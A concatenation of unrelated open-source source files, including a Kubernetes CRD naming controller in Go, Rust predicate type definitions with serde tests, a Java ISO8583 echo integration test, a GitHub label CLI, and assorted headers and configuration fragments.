"k8s.io/apimachinery/pkg/labels"
utilerrors "k8s.io/apimachinery/pkg/util/errors"
utilruntime "k8s.io/apimachinery/pkg/util/runtime"
"k8s.io/apimachinery/pkg/util/sets"
"k8s.io/apimachinery/pkg/util/wait"
"k8s.io/client-go/tools/cache"
"k8s.io/client-go/util/workqueue"
"k8s.io/apiextensions-apiserver/pkg/apis/apiextensions"
client "k8s.io/apiextensions-apiserver/pkg/client/clientset/internalclientset/typed/apiextensions/internalversion"
informers "k8s.io/apiextensions-apiserver/pkg/client/informers/internalversion/apiextensions/internalversion"
listers "k8s.io/apiextensions-apiserver/pkg/client/listers/apiextensions/internalversion"
)
var cloner = conversion.NewCloner()
// This controller is reserving names. To avoid conflicts, be sure to run only one instance of the worker at a time.
// This could eventually be lifted, but starting simple.
type NamingConditionController struct {
crdClient client.CustomResourceDefinitionsGetter
crdLister listers.CustomResourceDefinitionLister
crdSynced cache.InformerSynced
// crdMutationCache backs our lister and keeps track of committed updates to avoid racy
// write/lookup cycles. It's got 100 slots by default, so it unlikely to overrun
// TODO to revisit this if naming conflicts are found to occur in the wild
crdMutationCache cache.MutationCache
// To allow injection for testing.
syncFn func(key string) error
queue workqueue.RateLimitingInterface
}
func NewNamingConditionController(
crdInformer informers.CustomResourceDefinitionInformer,
crdClient client.CustomResourceDefinitionsGetter,
) *NamingConditionController {
c := &NamingConditionController{
crdClient: crdClient,
crdLister: crdInformer.Lister(),
crdSynced: crdInformer.Informer().HasSynced,
queue: workqueue.NewNamedRateLimitingQueue(workqueue.DefaultControllerRateLimiter(), "CustomResourceDefinition-NamingConditionController"),
}
informerIndexer := crdInformer.Informer().GetIndexer()
c.crdMutationCache = cache.NewIntegerResourceVersionMutationCache(informerIndexer, informerIndexer, 60*time.Second, false)
crdInformer.Informer().AddEventHandler(cache.ResourceEventHandlerFuncs{
AddFunc: c.addCustomResourceDefinition,
UpdateFunc: c.updateCustomResourceDefinition,
DeleteFunc: c.deleteCustomResourceDefinition,
})
c.syncFn = c.sync
return c
}
func (c *NamingConditionController) getAcceptedNamesForGroup(group string) (allResources sets.String, allKinds sets.String) {
allResources = sets.String{}
allKinds = sets.String{}
list, err := c.crdLister.List(labels.Everything())
if err != nil {
panic(err)
}
for _, curr := range list {
if curr.Spec.Group != group {
continue
}
// for each item here, see if we have a mutation cache entry that is more recent
// this makes sure that if we tight loop on update and run, our mutation cache will show
// us the version of the objects we just updated to.
item := curr
obj, exists, err := c.crdMutationCache.GetByKey(curr.Name)
if exists && err == nil {
item = obj.(*apiextensions.CustomResourceDefinition)
}
allResources.Insert(item.Status.AcceptedNames.Plural)
allResources.Insert(item.Status.AcceptedNames.Singular)
allResources.Insert(item.Status.AcceptedNames.ShortNames...)
allKinds.Insert(item.Status.AcceptedNames.Kind)
allKinds.Insert(item.Status.AcceptedNames.ListKind)
}
return allResources, allKinds
}
func (c *NamingConditionController) calculateNamesAndConditions(in *apiextensions.CustomResourceDefinition) (apiextensions.CustomResourceDefinitionNames, apiextensions.CustomResourceDefinitionCondition, apiextensions.CustomResourceDefinitionCondition) {
// Get the names that have already been claimed
allResources, allKinds := c.getAcceptedNamesForGroup(in.Spec.Group)
namesAcceptedCondition := apiextensions.CustomResourceDefinitionCondition{
Type: apiextensions.NamesAccepted,
Status: apiextensions.ConditionUnknown,
}
requestedNames := in.Spec.Names
acceptedNames := in.Status.AcceptedNames
newNames := in.Status.AcceptedNames
// Check each name for mismatches. If there's a mismatch between spec and status, then try to deconflict.
// Continue on errors so that the status is the best match possible
if err := equalToAcceptedOrFresh(requestedNames.Plural, acceptedNames.Plural, allResources); err != nil {
namesAcceptedCondition.Status = apiextensions.ConditionFalse
namesAcceptedCondition.Reason = "PluralConflict"
namesAcceptedCondition.Message = err.Error()
} else {
newNames.Plural = requestedNames.Plural
}
if err := equalToAcceptedOrFresh(requestedNames.Singular, acceptedNames.Singular, allResources); err != nil {
namesAcceptedCondition.Status = apiextensions.ConditionFalse
namesAcceptedCondition.Reason = "SingularConflict"
namesAcceptedCondition.Message = err.Error()
} else {
newNames.Singular = requestedNames.Singular
}
if !reflect.DeepEqual(requestedNames.ShortNames, acceptedNames.ShortNames) {
errs := []error{}
existingShortNames := sets.NewString(acceptedNames.ShortNames...)
for _, shortName := range requestedNames.ShortNames {
// if the shortname is already ours, then we're fine
if existingShortNames.Has(shortName) {
continue
}
if err := equalToAcceptedOrFresh(shortName, "", allResources); err != nil {
errs = append(errs, err)
}
}
if err := utilerrors.NewAggregate(errs); err != nil {
namesAcceptedCondition.Status = apiextensions.ConditionFalse
namesAcceptedCondition.Reason = "ShortNamesConflict"
namesAcceptedCondition.Message = err.Error()
} else {
newNames.ShortNames = requestedNames.ShortNames
}
}
if err := equalToAcceptedOrFresh(requestedNames.Kind, acceptedNames.Kind, allKinds); err != nil {
namesAcceptedCondition.Status = apiextensions.ConditionFalse
namesAcceptedCondition.Reason = "KindConflict"
namesAcceptedCondition.Message = err.Error()
} else {
newNames.Kind = requestedNames.Kind
}
if err := equalToAcceptedOrFresh(requestedNames.ListKind, acceptedNames.ListKind, allKinds); err != nil {
namesAcceptedCondition.Status = apiextensions.ConditionFalse
namesAcceptedCondition.Reason = "ListKindConflict"
namesAcceptedCondition.Message = err.Error()
} else {
newNames.ListKind = requestedNames.ListKind
}
// if we haven't changed the condition, then our names must be good.
if namesAcceptedCondition.Status == apiextensions.ConditionUnknown {
namesAcceptedCondition.Status = apiextensions.ConditionTrue
namesAcceptedCondition.Reason = "NoConflicts"
namesAcceptedCondition.Message = "no conflicts found"
}
// set EstablishedCondition to true if all names are accepted. Never set it back to false.
establishedCondition := apiextensions.CustomResourceDefinitionCondition{
Type: apiextensions.Established,
Status: apiextensions.ConditionFalse,
Reason: "NotAccepted",
Message: "not all names are accepted",
LastTransitionTime: metav1.NewTime(time.Now()),
}
if old := apiextensions.FindCRDCondition(in, apiextensions.Established); old != nil {
establishedCondition = *old
}
if establishedCondition.Status != apiextensions.ConditionTrue && namesAcceptedCondition.Status == apiextensions.ConditionTrue {
establishedCondition = apiextensions.CustomResourceDefinitionCondition{
Type: apiextensions.Established,
Status: apiextensions.ConditionTrue,
Reason: "InitialNamesAccepted",
Message: "the initial names have been accepted",
LastTransitionTime: metav1.NewTime(time.Now()),
}
}
return newNames, namesAcceptedCondition, establishedCondition
}
func equalToAcceptedOrFresh(requestedName, acceptedName string, usedNames sets.String) error {
if requestedName == acceptedName {
return nil
}
if !usedNames.Has(requestedName) {
return nil
}
return fmt.Errorf("%q is already in use", requestedName)
}
func (c *NamingConditionController) sync(key string) error {
inCustomResourceDefinition, err := c.crdLister.Get(key)
if apierrors.IsNotFound(err) {
// CRD was deleted and has freed its names.
// Reconsider all other CRDs in the same group.
if err := c.requeueAllOtherGroupCRDs(key); err != nil {
return err
}
return nil
}
if err != nil {
return err
}
acceptedNames, namingCondition, establishedCondition := c.calculateNamesAndConditions(inCustomResourceDefinition)
// nothing to do if accepted names and NamesAccepted condition didn't change
if reflect.DeepEqual(inCustomResourceDefinition.Status.AcceptedNames, acceptedNames) &&
apiextensions.IsCRDConditionEquivalent(&namingCondition, apiextensions.FindCRDCondition(inCustomResourceDefinition, apiextensions.NamesAccepted)) &&
apiextensions.IsCRDConditionEquivalent(&establishedCondition, apiextensions.FindCRDCondition(inCustomResourceDefinition, apiextensions.Established)) {
return nil
}
crd := &apiextensions.CustomResourceDefinition{}
if err := apiextensions.DeepCopy_apiextensions_CustomResourceDefinition(inCustomResourceDefinition, crd, cloner); err != nil {
return err
}
crd.Status.AcceptedNames = acceptedNames
apiextensions.SetCRDCondition(crd, namingCondition)
apiextensions.SetCRDCondition(crd, establishedCondition)
updatedObj, err := c.crdClient.CustomResourceDefinitions().UpdateStatus(crd)
if err != nil {
return err
}
// if the update was successful, go ahead and add the entry to the mutation cache
c.crdMutationCache.Mutation(updatedObj)
// we updated our status, so we may be releasing a name. When this happens, we need to rekick everything in our group
// if we fail to rekick, just return as normal. We'll get everything on a resync
if err := c.requeueAllOtherGroupCRDs(key); err != nil {
return err
}
return nil
}
func (c *NamingConditionController) Run(stopCh <-chan struct{}) {
defer utilruntime.HandleCrash()
defer c.queue.ShutDown()
glog.Infof("Starting NamingConditionController")
defer glog.Infof("Shutting down NamingConditionController")
if !cache.WaitForCacheSync(stopCh, c.crdSynced) {
return
}
// only start one worker thread since its a slow moving API and the naming conflict resolution bits aren't thread-safe
go wait.Until(c.runWorker, time.Second, stopCh)
<-stopCh
}
func (c *NamingConditionController) runWorker() {
for c.processNextWorkItem() {
}
}
// processNextWorkItem deals with one key off the queue. It returns false when it's time to quit.
func (c *NamingConditionController) processNextWorkItem() bool {
key, quit := c.queue.Get()
if quit {
return false
}
defer c.queue.Done(key)
err := c.syncFn(key.(string))
if err == nil {
c.queue.Forget(key)
return true
}
utilruntime.HandleError(fmt.Errorf("%v failed with: %v", key, err))
c.queue.AddRateLimited(key)
return true
}
func (c *NamingConditionController) enqueue(obj *apiextensions.CustomResourceDefinition) {
key, err := cache.DeletionHandlingMetaNamespaceKeyFunc(obj)
if err != nil {
utilruntime.HandleError(fmt.Errorf("Couldn't get key for object %#v: %v", obj, err))
return
}
c.queue.Add(key)
}
func (c *NamingConditionController) addCustomResourceDefinition(obj interface{}) {
castObj := obj.(*apiextensions.CustomResourceDefinition)
glog.V(4).Infof("Adding %s", castObj.Name)
c.enqueue(castObj)
}
func (c *NamingConditionController) updateCustomResourceDefinition(obj, _ interface{}) {
castObj := obj.(*apiextensions.CustomResourceDefinition)
glog.V(4).Infof("Updating %s", castObj.Name)
c.enqueue(castObj)
}
func (c *NamingConditionController) deleteCustomResourceDefinition(obj interface{}) {
castObj, ok := obj.(*apiextensions.CustomResourceDefinition)
if !ok {
tombstone, ok := obj.(cache.DeletedFinalStateUnknown)
if !ok {
glog.Errorf("Couldn't get object from tombstone %#v", obj)
return
}
castObj, ok = tombstone.Obj.(*apiextensions.CustomResourceDefinition)
if !ok {
glog.Errorf("Tombstone contained object that is not expected %#v", obj)
return
}
}
glog.V(4).Infof("Deleting %q", castObj.Name)
c.enqueue(castObj)
}
func (c *NamingConditionController) requeueAllOtherGroupCRDs(name string) error {
pluralGroup := strings.SplitN(name, ".", 2)
list, err := c.crdLister.List(labels.Everything())
if err != nil {
return err
}
for _, curr := range list {
if curr.Spec.Group == pluralGroup[1] && curr.Name != name {
c.queue.Add(curr.Name)
}
}
return nil
}
| {
"pile_set_name": "Github"
} |
(function() {
var dfs = {"am_pm":["AM","PM"],"day_name":["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],"day_short":["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],"era":["BC","AD"],"era_name":["Before Christ","Anno Domini"],"month_name":["January","February","March","April","May","June","July","August","September","October","November","December"],"month_short":["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],"order_full":"MDY","order_long":"MDY","order_medium":"MDY","order_short":"MDY"};
var nfs = {"decimal_separator":".","grouping_separator":",","minus":"-"};
var df = {SHORT_PADDED_CENTURY:function(d){if(d){return(((d.getMonth()+101)+'').substring(1)+'/'+((d.getDate()+101)+'').substring(1)+'/'+d.getFullYear());}},SHORT:function(d){if(d){return((d.getMonth()+1)+'/'+d.getDate()+'/'+(d.getFullYear()+'').substring(2));}},SHORT_NOYEAR:function(d){if(d){return((d.getMonth()+1)+'/'+d.getDate());}},SHORT_NODAY:function(d){if(d){return((d.getMonth()+1)+' '+(d.getFullYear()+'').substring(2));}},MEDIUM:function(d){if(d){return(dfs.month_short[d.getMonth()]+' '+d.getDate()+','+' '+d.getFullYear());}},MEDIUM_NOYEAR:function(d){if(d){return(dfs.month_short[d.getMonth()]+' '+d.getDate());}},MEDIUM_WEEKDAY_NOYEAR:function(d){if(d){return(dfs.day_short[d.getDay()]+' '+dfs.month_short[d.getMonth()]+' '+d.getDate());}},LONG_NODAY:function(d){if(d){return(dfs.month_name[d.getMonth()]+' '+d.getFullYear());}},LONG:function(d){if(d){return(dfs.month_name[d.getMonth()]+' '+d.getDate()+','+' '+d.getFullYear());}},FULL:function(d){if(d){return(dfs.day_name[d.getDay()]+','+' '+dfs.month_name[d.getMonth()]+' '+d.getDate()+','+' '+d.getFullYear());}}};
window.icu = window.icu || new Object();
var icu = window.icu;
icu.getCountry = function() { return "" };
icu.getCountryName = function() { return "" };
icu.getDateFormat = function(formatCode) { var retVal = {}; retVal.format = df[formatCode]; return retVal; };
icu.getDateFormats = function() { return df; };
icu.getDateFormatSymbols = function() { return dfs; };
icu.getDecimalFormat = function(places) { var retVal = {}; retVal.format = function(n) { var ns = n < 0 ? Math.abs(n).toFixed(places) : n.toFixed(places); var ns2 = ns.split('.'); s = ns2[0]; var d = ns2[1]; var rgx = /(\d+)(\d{3})/;while(rgx.test(s)){s = s.replace(rgx, '$1' + nfs["grouping_separator"] + '$2');} return (n < 0 ? nfs["minus"] : "") + s + nfs["decimal_separator"] + d;}; return retVal; };
icu.getDecimalFormatSymbols = function() { return nfs; };
icu.getIntegerFormat = function() { var retVal = {}; retVal.format = function(i) { var s = i < 0 ? Math.abs(i).toString() : i.toString(); var rgx = /(\d+)(\d{3})/;while(rgx.test(s)){s = s.replace(rgx, '$1' + nfs["grouping_separator"] + '$2');} return i < 0 ? nfs["minus"] + s : s;}; return retVal; };
icu.getLanguage = function() { return "st" };
icu.getLanguageName = function() { return "Southern Sotho" };
icu.getLocale = function() { return "null" };
icu.getLocaleName = function() { return "Southern Sotho" };
})(); | {
"pile_set_name": "Github"
} |
use super::*;
use codec::{Decode, Encode};
#[derive(Clone, Eq, PartialEq, Encode, Decode, Hash)]
#[cfg_attr(feature = "std", derive(Debug))]
pub enum PredicateType {
CompiledPredicate,
IntermediateCompiledPredicate,
AtomicProposition,
AtomicPredicateCall,
InputPredicateCall,
VariablePredicateCall,
CompiledPredicateCall,
CompiledInput,
ConstantInput,
LabelInput,
NormalInput,
VariableInput,
SelfInput,
}
#[derive(Clone, Eq, PartialEq, Encode, Decode, Hash)]
#[cfg_attr(feature = "std", derive(Debug))]
pub enum VarType {
Address,
Bytes,
}
/// Compiled Property definition
#[derive(Clone, Eq, PartialEq, Encode, Decode, Hash)]
#[cfg_attr(feature = "std", derive(Debug))]
pub struct CompiledPredicate {
pub r#type: PredicateType,
pub name: Vec<u8>,
pub input_defs: Vec<Vec<u8>>,
pub contracts: Vec<IntermediateCompiledPredicate>,
pub constants: Option<Vec<ConstantVariable>>,
pub entry_point: Vec<u8>,
}
#[derive(Clone, Eq, PartialEq, Encode, Decode, Hash)]
#[cfg_attr(feature = "std", derive(Debug))]
pub struct ConstantVariable {
pub var_type: VarType,
pub name: Vec<u8>,
}
/// IntermediateCompiledPredicate is core of compilation which has only atomic propositions as its inputs.
/// When we have for a in B() {Foo(a) and Bar(a)},
/// "for a in B() {...}" and "Foo(a) and Bar(a)" are IntermediateCompiledPredicate.
#[derive(Clone, Eq, PartialEq, Encode, Decode, Hash)]
#[cfg_attr(feature = "std", derive(Debug))]
pub struct IntermediateCompiledPredicate {
pub r#type: PredicateType,
pub name: Vec<u8>,
pub original_predicate_name: Vec<u8>,
// logical connective
pub connective: LogicalConnective,
pub input_defs: Vec<Vec<u8>>,
pub inputs: Vec<AtomicPropositionOrPlaceholder>,
pub property_inputs: Vec<NormalInput>,
}
#[derive(Clone, Eq, PartialEq, Encode, Decode, Hash)]
#[cfg_attr(feature = "std", derive(Debug))]
pub enum AtomicPropositionOrPlaceholder {
AtomicProposition(AtomicProposition),
Placeholder(Vec<u8>),
}
#[derive(Clone, Eq, PartialEq, Encode, Decode, Hash)]
#[cfg_attr(feature = "std", derive(Debug))]
pub struct AtomicProposition {
pub r#type: PredicateType,
pub predicate: PredicateCall,
pub inputs: Vec<CompiledInput>,
pub is_compiled: Option<bool>,
}
#[derive(Clone, Eq, PartialEq, Encode, Decode, Hash)]
#[cfg_attr(feature = "std", derive(Debug))]
pub enum PredicateCall {
AtomicPredicateCall(AtomicPredicateCall),
InputPredicateCall(InputPredicateCall),
VariablePredicateCall(VariablePredicateCall),
CompiledPredicateCall(CompiledPredicateCall),
}
/// e.g. IsValidSignature()
#[derive(Clone, Eq, PartialEq, Encode, Decode, Hash)]
#[cfg_attr(feature = "std", derive(Debug))]
pub struct AtomicPredicateCall {
pub r#type: PredicateType,
pub source: Vec<u8>,
}
/// e.g. a() of "def Foo(a) := a()"
#[derive(Clone, Eq, PartialEq, Encode, Decode, Hash)]
#[cfg_attr(feature = "std", derive(Debug))]
pub struct InputPredicateCall {
pub r#type: PredicateType,
pub source: NormalInput,
}
/// e.g. su() of "def Foo(a) := with SU(a) as su {su()}"
#[derive(Clone, Eq, PartialEq, Encode, Decode, Hash)]
#[cfg_attr(feature = "std", derive(Debug))]
pub struct VariablePredicateCall {
pub r#type: PredicateType,
}
/// For predicates dynamic linking
/// e.g. Confsig() user defined predicate
#[derive(Clone, Eq, PartialEq, Encode, Decode, Hash)]
#[cfg_attr(feature = "std", derive(Debug))]
pub struct CompiledPredicateCall {
pub r#type: PredicateType,
pub source: Vec<u8>,
}
/// CompiledInput indicates which value to pass to PredicateCall as input of predicate
/// For example,parent_property.inputs[0].inputs[1] is NormalInput andinput_index is 0 and children is [1].
#[derive(Clone, Eq, PartialEq, Encode, Decode, Hash)]
#[cfg_attr(feature = "std", derive(Debug))]
pub enum CompiledInput {
ConstantInput(ConstantInput),
LabelInput(LabelInput),
NormalInput(NormalInput),
VariableInput(VariableInput),
SelfInput(SelfInput),
}
#[derive(Clone, Eq, PartialEq, Encode, Decode, Hash)]
#[cfg_attr(feature = "std", derive(Debug))]
pub struct ConstantInput {
pub r#type: PredicateType,
pub name: Vec<u8>,
}
#[derive(Clone, Eq, PartialEq, Encode, Decode, Hash)]
#[cfg_attr(feature = "std", derive(Debug))]
pub struct LabelInput {
pub r#type: PredicateType,
pub label: Vec<u8>,
}
#[derive(Clone, Eq, PartialEq, Encode, Decode, Hash)]
#[cfg_attr(feature = "std", derive(Debug))]
pub struct NormalInput {
pub r#type: PredicateType,
pub input_index: u8,
pub children: Vec<i8>,
}
#[derive(Clone, Eq, PartialEq, Encode, Decode, Hash)]
#[cfg_attr(feature = "std", derive(Debug))]
pub struct VariableInput {
pub r#type: PredicateType,
pub placeholder: Vec<u8>,
pub children: Vec<i8>,
}
#[derive(Clone, Eq, PartialEq, Encode, Decode, Hash)]
#[cfg_attr(feature = "std", derive(Debug))]
pub struct SelfInput {
pub r#type: PredicateType,
pub children: Vec<i8>,
}
/// LogicalConnective
#[derive(Clone, Eq, PartialEq, Encode, Decode, Hash)]
#[cfg_attr(feature = "std", derive(Debug))]
pub enum LogicalConnective {
And,
ForAllSuchThat,
Not,
Or,
ThereExistsSuchThat,
}
#[cfg(test)]
mod tests {
use super::*;
use crate::prepare::*;
use serde::{Deserialize, Serialize};
macro_rules! serde_from_test {
($name:ident, $t:ty, $s:ty, $pr:expr) => {
#[test]
fn $name() {
let res: $s = match serde_json::from_str($pr) {
Ok(res) => res,
Err(err) => {
println!(
"ERR: {:?}, {}, {}",
err.classify(),
err.line(),
err.column()
);
assert!(false);
return;
}
};
println!("success serde : {:?}", res);
let res: $t = res.into();
println!("success encode: {:?}", res);
}
};
}
serde_from_test!(
logical_connective_test,
LogicalConnective,
LogicalConnectiveSerializable,
r#""ThereExistsSuchThat""#
);
serde_from_test!(
atomic_predicate_call_test,
AtomicPredicateCall,
AtomicPredicateCallSerializable,
r#"{
"type": "AtomicPredicateCall",
"source": "IsValidSignature"
}"#
);
serde_from_test!(
normal_input_test,
NormalInput,
NormalInputSerializable,
r#"{
"type": "NormalInput",
"inputIndex": 2,
"children": []
}"#
);
serde_from_test!(
variable_input_test,
VariableInput,
VariableInputSerializable,
r#"{
"type": "VariableInput",
"placeholder": "v0",
"children": []
}"#
);
serde_from_test!(
constant_input_test,
ConstantInput,
ConstantInputSerializable,
r#"{
"type": "ConstantInput",
"name": "secp256k1"
}"#
);
serde_from_test!(
atomic_proposition_test,
AtomicProposition,
AtomicPropositionSerializable,
r#"{
"type": "AtomicProposition",
"predicate": {
"type": "AtomicPredicateCall",
"source": "IsValidSignature"
},
"inputs": [
{
"type": "NormalInput",
"inputIndex": 2,
"children": []
},
{
"type": "VariableInput",
"placeholder": "v0",
"children": []
},
{
"type": "NormalInput",
"inputIndex": 1,
"children": []
},
{
"type": "ConstantInput",
"name": "secp256k1"
}
]
}"#
);
serde_from_test!(
intermediate_compiled_predicate_test,
IntermediateCompiledPredicate,
IntermediateCompiledPredicateSerializable,
r#"
{
"type": "IntermediateCompiledPredicate",
"originalPredicateName": "Ownership",
"name": "OwnershipT",
"connective": "ThereExistsSuchThat",
"inputDefs": [
"OwnershipT",
"owner",
"tx"
],
"inputs": [
"signatures,KEY,${tx}",
"v0",
{
"type": "AtomicProposition",
"predicate": {
"type": "AtomicPredicateCall",
"source": "IsValidSignature"
},
"inputs": [
{
"type": "NormalInput",
"inputIndex": 2,
"children": []
},
{
"type": "VariableInput",
"placeholder": "v0",
"children": []
},
{
"type": "NormalInput",
"inputIndex": 1,
"children": []
},
{
"type": "ConstantInput",
"name": "secp256k1"
}
]
}
],
"propertyInputs": []
}"#
);
serde_from_test!(
constant_variable_test,
ConstantVariable,
ConstantVariableSerializable,
r#"
{
"varType": "bytes",
"name": "secp256k1"
}"#
);
#[derive(Serialize, Deserialize, Debug)]
enum MessageSerializable {
Request { id: String, method: String },
Response { id: String, result: u8 },
}
impl From<MessageSerializable> for Message {
fn from(f: MessageSerializable) -> Message {
match f {
MessageSerializable::Request { id, method } => Message::Request {
id: id.as_bytes().to_vec(),
method: method.as_bytes().to_vec(),
},
MessageSerializable::Response { id, result } => Message::Response {
id: id.as_bytes().to_vec(),
result,
},
}
}
}
#[derive(Debug)]
enum Message {
Request { id: Vec<u8>, method: Vec<u8> },
Response { id: Vec<u8>, result: u8 },
}
const MES: &str = r#"{"Request": {"id": "...", "method": "..."}}"#;
serde_from_test!(message_test, Message, MessageSerializable, MES);
}
| {
"pile_set_name": "Github"
} |
import site from '../../app';
site.controller('sharePromptController', ($scope, db, $mdDialog, $firebaseObject, title, defaultValue) => {
const allUsers = $firebaseObject(db.ref('users'));
$scope.cancel = $mdDialog.cancel;
const success = (item) => $mdDialog.hide(item);
$scope.title = title;
$scope.sharedWith = defaultValue;
$scope.getUser = (searchKey) => {
try {
const key = atob(searchKey);
return allUsers[key] ? [{ name: allUsers[key].name, uid: key }] : [];
} catch(e) {
return [];
}
};
$scope.submit = () => {
success($scope.sharedWith);
};
}); | {
"pile_set_name": "Github"
} |
/**
* @file bosh.h Bidirectional-streams over Synchronous HTTP (BOSH) (XEP-0124 and XEP-0206)
*
* purple
*
* Purple is the legal property of its developers, whose names are too numerous
* to list here. Please refer to the COPYRIGHT file distributed with this
* source distribution.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02111-1301 USA
*/
#ifndef PURPLE_JABBER_BOSH_H_
#define PURPLE_JABBER_BOSH_H_
typedef struct _PurpleBOSHConnection PurpleBOSHConnection;
#include "jabber.h"
void jabber_bosh_init(void);
void jabber_bosh_uninit(void);
PurpleBOSHConnection* jabber_bosh_connection_init(JabberStream *js, const char *url);
void jabber_bosh_connection_destroy(PurpleBOSHConnection *conn);
gboolean jabber_bosh_connection_is_ssl(PurpleBOSHConnection *conn);
void jabber_bosh_connection_send_keepalive(PurpleBOSHConnection *conn);
void jabber_bosh_connection_connect(PurpleBOSHConnection *conn);
void jabber_bosh_connection_close(PurpleBOSHConnection *conn);
void jabber_bosh_connection_send_raw(PurpleBOSHConnection *conn, const char *data);
#endif /* PURPLE_JABBER_BOSH_H_ */
| {
"pile_set_name": "Github"
} |
package com.github.kpavlov.jreactive8583.it;
import com.github.kpavlov.jreactive8583.ConnectorConfigurer;
import com.github.kpavlov.jreactive8583.IsoMessageListener;
import com.github.kpavlov.jreactive8583.client.Iso8583Client;
import com.github.kpavlov.jreactive8583.server.Iso8583Server;
import com.github.kpavlov.jreactive8583.server.ServerConfiguration;
import com.solab.iso8583.IsoMessage;
import com.solab.iso8583.IsoType;
import io.netty.channel.ChannelHandlerContext;
import io.netty.channel.ChannelInboundHandlerAdapter;
import io.netty.channel.ChannelPipeline;
import net.jcip.annotations.NotThreadSafe;
import org.junit.jupiter.api.Test;
import java.util.Collections;
import java.util.LinkedList;
import java.util.List;
import static org.awaitility.Awaitility.await;
@NotThreadSafe
public class EchoFromClientIT extends AbstractIT {
private final List<IsoMessage> capturedRequests = Collections.synchronizedList(new LinkedList<>());
@Override
protected void configureServer(final Iso8583Server<IsoMessage> server) {
server.setConfigurer(new ConnectorConfigurer<>() {
@Override
public void configurePipeline(final ChannelPipeline pipeline, final ServerConfiguration configuration) {
pipeline.addBefore("idleEventHandler", "connectListenerHandler", new ChannelInboundHandlerAdapter() {
@Override
public void channelActive(final ChannelHandlerContext ctx) throws Exception {
super.channelActive(ctx);
final var message = server.getIsoMessageFactory().newMessage(0x800);
ctx.writeAndFlush(message);
}
});
}
});
}
@Override
protected void configureClient(final Iso8583Client<IsoMessage> client) {
client.addMessageListener(new IsoMessageListener<>() {
@Override
public boolean applies(final IsoMessage isoMessage) {
return isoMessage.getType() == 0x800;
}
@Override
public boolean onMessage(final ChannelHandlerContext ctx, final IsoMessage isoMessage) {
capturedRequests.add(isoMessage);
final var response = server.getIsoMessageFactory().createResponse(isoMessage);
response.setField(39, IsoType.ALPHA.value("01", 2));
ctx.writeAndFlush(response);
return false;
}
});
}
@Test
public void shouldHandleEchoFromServer() {
await()
.alias("infoMessage expected")
.until(() -> capturedRequests.stream().anyMatch(m -> m.getType() == 0x800));
}
}
| {
"pile_set_name": "Github"
} |
#!/usr/bin/env node
var minimist = require('minimist')
var ghauth = require('ghauth')
var githubStandardLabels = require('./')
var argv = minimist(process.argv.slice(2), {
boolean: [
'version',
'help'
]
})
var usage = `
Usage:
$ github-standard-labels <username> <project>
Commands:
<default> Create a set of labels for a project
Options:
-h, --help Print usage
-v, --version Print version
`
;(function main (argv) {
if (argv.h) {
return console.info(usage)
} else if (argv.v) {
return console.info('v' + require('./package.json').version)
} else {
var username = argv._[0]
var repo = argv._[1]
if (!username || !repo) {
console.error('username or repo missing')
process.exit(1)
}
label(username, repo)
}
})(argv)
function label (username, repo) {
var config = {
configName: 'github-standard-labels',
scopes: ['repo'],
note: 'This is for github-standard-labels'
}
ghauth(config, function (err, github) {
if (err) throw err
var opts = {}
opts.username = username
opts.github = github
opts.repo = repo
githubStandardLabels(opts, function (err) {
if (err) throw err
console.info('Labels successfully applied to ' + username + '/' + repo)
})
})
}
| {
"pile_set_name": "Github"
} |
--general-log
--log-bin=mylog.log
| {
"pile_set_name": "Github"
} |
package qualitycheck
//Licensed under the Apache License, Version 2.0 (the "License");
//you may not use this file except in compliance with the License.
//You may obtain a copy of the License at
//
//http://www.apache.org/licenses/LICENSE-2.0
//
//Unless required by applicable law or agreed to in writing, software
//distributed under the License is distributed on an "AS IS" BASIS,
//WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
//See the License for the specific language governing permissions and
//limitations under the License.
//
// Code generated by Alibaba Cloud SDK Code Generator.
// Changes may cause incorrect behavior and will be lost if the code is regenerated.
// RuleCountInfoInGetTaskRuleList is a nested struct in qualitycheck response
type RuleCountInfoInGetTaskRuleList struct {
CheckNumber int `json:"CheckNumber" xml:"CheckNumber"`
CreateEmpid string `json:"CreateEmpid" xml:"CreateEmpid"`
CreateTime int64 `json:"CreateTime" xml:"CreateTime"`
HitNumber int `json:"HitNumber" xml:"HitNumber"`
HitRate float64 `json:"HitRate" xml:"HitRate"`
HitRealViolationRate float64 `json:"HitRealViolationRate" xml:"HitRealViolationRate"`
IsDelete int `json:"IsDelete" xml:"IsDelete"`
LastUpdateEmpid string `json:"LastUpdateEmpid" xml:"LastUpdateEmpid"`
LastUpdateTime int64 `json:"LastUpdateTime" xml:"LastUpdateTime"`
Name string `json:"Name" xml:"Name"`
PreReviewNumber int `json:"PreReviewNumber" xml:"PreReviewNumber"`
RealViolationNumber int `json:"RealViolationNumber" xml:"RealViolationNumber"`
ReviewNumber int `json:"ReviewNumber" xml:"ReviewNumber"`
Rid string `json:"Rid" xml:"Rid"`
Select bool `json:"Select" xml:"Select"`
Status int `json:"Status" xml:"Status"`
Type int `json:"Type" xml:"Type"`
TypeName string `json:"TypeName" xml:"TypeName"`
}
| {
"pile_set_name": "Github"
} |
<component name="ProjectCodeStyleConfiguration">
<code_scheme name="Project" version="173">
<Objective-C-extensions>
<file>
<option name="com.jetbrains.cidr.lang.util.OCDeclarationKind" value="Import" />
<option name="com.jetbrains.cidr.lang.util.OCDeclarationKind" value="Macro" />
<option name="com.jetbrains.cidr.lang.util.OCDeclarationKind" value="Typedef" />
<option name="com.jetbrains.cidr.lang.util.OCDeclarationKind" value="Enum" />
<option name="com.jetbrains.cidr.lang.util.OCDeclarationKind" value="Constant" />
<option name="com.jetbrains.cidr.lang.util.OCDeclarationKind" value="Global" />
<option name="com.jetbrains.cidr.lang.util.OCDeclarationKind" value="Struct" />
<option name="com.jetbrains.cidr.lang.util.OCDeclarationKind" value="FunctionPredecl" />
<option name="com.jetbrains.cidr.lang.util.OCDeclarationKind" value="Function" />
</file>
<class>
